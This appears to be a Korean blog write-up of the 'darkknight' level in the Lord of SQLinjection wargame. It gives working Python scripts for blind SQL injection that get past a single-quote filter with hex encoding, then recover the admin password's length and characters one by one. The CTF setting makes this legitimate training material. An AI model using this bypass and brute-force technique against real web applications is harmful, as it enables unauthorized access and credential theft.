본문 바로가기

모의해킹/Lord of SQLinjection

darknight

728x90

문제 정보

문제 접근

1. 필터링 및 SQL Injection 포인트 찾기

no 파라미터를 통해 SQL 인젝션 공격을 시도하면 될꺼같다.

 

2. Blind SQL Injection

 2.1 admin의 pw 길이

'(싱글 쿼터)가 필터링이 되기 때문에 id like 'admin'을 대신해 admin의 hex 값을 이용해 id like 0x61646 d696 e 사용

import requests

url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?'

cookies = {"PHPSESSID":"r1g9lcvjgj13dag8l5migjcus0"}

for i in range(100):
    params = 'no=1 or id like 0x61646d696e %26%26 length(pw)like '+str(i)
    response = requests.get(url, params=params, cookies=cookies)
    if "Hello admin" in response.text:
        print("pw의 길이는" , i)
        break

 

 2.2 pw 값 구하기

pw의 값이 대소문자를 구별하지 않아 중복이 된다. 

import requests
import string

url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?'

cookies = {"PHPSESSID":"ehfeb49bjnrn7o6flaqbts8u2v"}

string = string.ascii_lowercase + string.digits  #string.ascii_lowercase : 소문자 

ch = ''
for i in range(1,9):
    print("pw 의 {}번째 패스워드".format(i))
    for j in string:
        params = 'no=1 or id like 0x61646d696e %26%26 mid(pw,'+str(i)+',1) like"'+str(j)+'"'
        response = requests.get(url, params=params, cookies=cookies)
        if "Hello admin" in response.text:
            ch += j
            print(ch)

 

'모의해킹 > Lord of SQLinjection' 카테고리의 다른 글

giant  (0) 2023.06.05
bugbear  (0) 2023.06.05
golem  (0) 2023.06.04
skeleton  (0) 2023.06.04
vampire  (0) 2023.06.01